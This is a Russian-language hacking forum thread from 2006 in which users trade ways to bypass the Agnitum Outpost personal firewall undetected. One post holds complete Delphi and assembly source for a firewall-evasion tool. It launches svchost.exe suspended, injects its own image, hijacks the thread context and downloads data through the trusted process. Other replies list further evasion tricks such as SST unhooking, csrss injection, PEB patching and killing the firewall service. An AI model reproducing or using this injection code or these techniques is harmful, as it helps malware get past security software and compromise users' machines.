HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

обход agnituma
  #1  
Старый 02.05.2006, 20:38
asm33
Познающий
Регистрация: 19.01.2006
Сообщений: 58
Провел на форуме:
108297

Репутация: 6
По умолчанию обход agnituma

народ, у кого есть идеи как обойти agnitum outpost,
желательно без палева.
 
Ответить с цитированием

  #2  
Старый 03.05.2006, 17:33
tip4ik
Новичок
Регистрация: 14.01.2006
Сообщений: 28
Провел на форуме:
190037

Репутация: 23
По умолчанию

у меня: последний никак
(не долго же ты рылся по форуму...)
 
Ответить с цитированием

  #3  
Старый 24.05.2006, 17:10
x-ultra-x
Познающий
Регистрация: 05.10.2005
Сообщений: 76
Провел на форуме:
74278

Репутация: 11
По умолчанию

 
Ответить с цитированием

  #4  
Старый 01.06.2006, 22:33
asm33
Познающий
Регистрация: 19.01.2006
Сообщений: 58
Провел на форуме:
108297

Репутация: 6
По умолчанию

статейка интересна. Гемор обеспечен, но по моему в версии 3.5 эта штука исправлена.
по моему легче просто грохнуть приложение с его сервисом
 
Ответить с цитированием

  #5  
Старый 02.06.2006, 03:34
W!z@rD
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме:
1892597

Репутация: 836


Отправить сообщение для W!z@rD с помощью ICQ
По умолчанию

ага... как только попытаешься он тя блокирует + выдает сообщение
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
 
Ответить с цитированием

  #6  
Старый 06.06.2006, 18:20
Ник
Новичок
Регистрация: 06.06.2006
Сообщений: 1
Провел на форуме:
5736

Репутация: 1
По умолчанию

А что, старый добрый способ отменили?
{
Firewall Fucker - пример обхода фаерволла.
Copyright by Ms-Rem (Ms-Rem@yandex.ru) ICQ 286370715
}
program FireFuck;

uses
Windows, WinSock;

{$IMAGEBASE $13140000}

{ Определение положения подстроки в строке }
Function MyPos(Substr, Str: PChar): dword; stdcall;
asm
mov eax, Substr
mov edx, str
test eax, eax
je @noWork
test edx, edx
je @stringEmpty
push ebx
push esi
push edi
mov esi, eax
mov edi, edx
push eax
push edx
call lstrlen
mov ecx, eax
pop eax
push edi
push eax
push eax
call lstrlen
mov edx, eax
pop eax
dec edx
js @fail
mov al, [esi]
inc esi
sub ecx, edx
jle @fail

@loop:
repne scasb
jne @fail
mov ebx, ecx
push esi
push edi
mov ecx, edx
repe cmpsb
pop edi
pop esi
je @found
mov ecx, ebx
jmp @loop

@fail:
pop edx
xor eax, eax
jmp @exit

@stringEmpty:
xor eax, eax
jmp @noWork

@found:
pop edx
mov eax, edi
sub eax, edx

@exit:
pop edi
pop esi
pop ebx

@noWork:
end;

{ Копирование строк }
Function MyCopy(S:PChar; Index, Count: Dword): PChar; stdcall;
asm
mov eax, Count
inc eax
push eax
push LPTR
call LocalAlloc
mov edi, eax
mov ecx, Count
mov esi, S
add esi, Index
dec esi
rep movsb
end;

{ Копирование участка памяти }
procedure MyCopyMemory(Destination: Pointer; Source: Pointer; Length: DWORD);
asm
push ecx
push esi
push edi
mov esi, Source
mov edi, Destination
mov ecx, Length
rep movsb
pop edi
pop esi
pop ecx
end;


Function DownloadFile(Address: PChar; var ReturnSize: dword): pointer;
var
Buffer: pointer;
BufferLength: dword;
BufferUsed: dword;
Bytes: integer;
Header: PChar;
Site: PChar;
URL: PChar;
FSocket: integer;
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
Str: PChar;
WSAData: TWSAData;
hHeap: dword;
begin
Result := nil;
hHeap := GetProcessHeap();
WSAStartup(257, WSAData);
Site := MyCopy(Address, 1, MyPos('/', Address) - 1);
URL := MyCopy(Address, MyPos('/', Address), lstrlen(Address) - MyPos('/', Address) + 1);
Buffer := HeapAlloc(hHeap, 0, 1024);
try
BufferLength := 1024;
BufferUsed := 0;
FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(80);
SockAddrIn.sin_addr.s_addr := inet_addr(Site);
if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
begin
HostEnt := gethostbyname(Site);
if HostEnt = nil then Exit;
SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
end;
if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) = -1 then Exit;
Str := HeapAlloc(hHeap, 0, 1024);
lstrcpy(Str, 'GET ');
lstrcat(Str, URL);
lstrcat(Str, ' HTTP/1.0'#10#13'Host: ');
lstrcat(Str, Site);
lstrcat(Str, #13#10'Connection: close'#13#10#13#10);
send(FSocket, Str^, lstrlen(Str), 0);
HeapFree(hHeap, 0, Str);
repeat
if BufferLength - BufferUsed < 1024 then
begin
Inc(BufferLength, 1024);
Buffer := HeapReAlloc(hHeap, 0, Buffer, BufferLength);
end;
Bytes := recv(FSocket, pointer(dword(Buffer) + BufferUsed)^, 1024, 0);
if Bytes > 0 then Inc(BufferUsed, Bytes);
until (Bytes = 0) or (Bytes = SOCKET_ERROR);
Header := MyCopy(Buffer, 1, MyPos(#13#10#13#10, Buffer) + 3);
ReturnSize := BufferUsed - lstrlen(header);
Result := VirtualAlloc(nil, ReturnSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if Result = nil then Exit;
MyCopyMemory(Result, pointer(dword(Buffer) + lstrlen(header)), ReturnSize);
finally
HeapFree(hHeap, 0, Buffer);
end;
end;

{ процедура выполняющаяся в контексте доверенного приложения }
Procedure Download(); stdcall;
const
URL : PChar = 'forum.antichat.ru/newreply.php?do=newreply&p=146170';
var
Buff: pointer;
Size: dword;
Bytes: dword;
dFile: dword;
begin
LoadLibrary('wsock32.dll');
Buff := DownloadFile(URL, Size);
dFile := CreateFile('1.htm', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0);
WriteFile(dFile, Buff^, Size, Bytes, nil);
CloseHandle(dFile);
ExitProcess(0);
end;


var
St: TStartupInfo;
Pr: TProcessInformation;
InjectSize: dword;
Code: pointer;
Injected: pointer;
BytesWritten: dword;
Context: _CONTEXT;

begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_SHOW;
//запускаем процесс, которому разрешено лезть на 80 порт
CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
Code := pointer(GetModuleHandle(nil));
InjectSize := PImageOptionalHeader(pointer(integer(Code) +
PImageDosHeader(Code)._lfanew +
SizeOf(dword) +
SizeOf(TImageFileHeader))).SizeOfImage;
//выделяем память в процессе
Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//внедряем код
WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten);
//изменяем контекст нити
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(Pr.hThread, Context);
Context.Eip := dword(@Download);
SetThreadContext(Pr.hThread, Context);
//запускаем процесс
ResumeThread(Pr.hThread);
end.
 
Ответить с цитированием

  #7  
Старый 09.06.2006, 01:58
3er0
Познающий
Регистрация: 31.03.2006
Сообщений: 36
Провел на форуме:
302384

Репутация: 4
Отправить сообщение для 3er0 с помощью ICQ
По умолчанию

Цитата:
Сообщение от asm33  
народ, у кого есть идеи как обойти agnitum outpost
Тунелирование ICMP пакаетами.
 
Ответить с цитированием

  #8  
Старый 13.06.2006, 02:06
Cr4sh
Познающий
Регистрация: 25.08.2005
Сообщений: 57
Провел на форуме:
216363

Репутация: 76
Отправить сообщение для Cr4sh с помощью ICQ
По умолчанию

Цитата:
народ, у кого есть идеи как обойти agnitum outpost
к сожалению, АБСОЛЮТНО ВСЕ существующие методы обхода базируюцаа на безпалевном инжекте в пердположительно доверенный процесс. У меня была идея написать драйвер, который будет работать напрямую с NDIS, предварительно найдя оригинальные адресса соотв ф-ций (оутпост их хукает ессесно) так что если есть желание/знания - вперёд, геморроя думаю здесь будет намного меньше чем кажеццо

Цитата:
Тунелирование ICMP пакаетами.
=)))
 
Ответить с цитированием

  #9  
Старый 13.06.2006, 05:09
W!z@rD
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме:
1892597

Репутация: 836


Отправить сообщение для W!z@rD с помощью ICQ
Exclamation

В общем тут такое дело:
1. Запуск доверенного процесса и соответственно через него и делать все что угодно. Способ хороший, НО!!! Outpost среагирует: минимум - сообщением "Запуск скрытого процесса", в другом случае это "Процесс xxx.exe облокирован" изменения в памяти процесса и т.д.
2. Dll-injection Ну тут слов нет все равно словит. читай 1 пункт 2 случай.
3. RAW Sockets, тут отдельная речь... Короче все равно поймает.

По моему единственный вариант это: Грузить приложение до Outposta и вырубать процесс... Почему не внести изменения? Outpost проверяет себя и компоненты на наличие Adware/Spyware и CRC...

Не знаю я не опытный кодер (да и в протоколах не очень...) по этому еще куча способов... На мой взгляд.
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...

Последний раз редактировалось W!z@rD; 13.06.2006 в 05:12..
 
Ответить с цитированием

  #10  
Старый 13.06.2006, 05:29
Cr4sh
Познающий
Регистрация: 25.08.2005
Сообщений: 57
Провел на форуме:
216363

Репутация: 76
Отправить сообщение для Cr4sh с помощью ICQ
По умолчанию

W!z@rD:
1, 2 - контроль памяти процессов довольно просто обходицца напр. снятием хуков с SST или инжектом через csrss в два прыжка, контроль компонентов лечиццо правкой PEB
короче эти способы работают без проблем, но только при наличии возможности инжекта в доверенный процесс, да и вообще попса и старьё, нужно что-нибудь новое и более координальное)
3. равсокеты дефолтно запрещены

убивать оутпост - просто глупо и некрасиво, да и слишком палевно к тому же (а про геморройность данного яспособа я вообще молчу - из юзермоде ты сервис оутпоста не грохнешь 100%)

Последний раз редактировалось Cr4sh; 13.06.2006 в 05:31..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
КаббалкТелеком - скоростной интернет обход трафика... Allen Болталка 1 27.02.2006 02:17
Обход тестов Тьюринга S0d PHP 6 30.12.2005 08:10



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ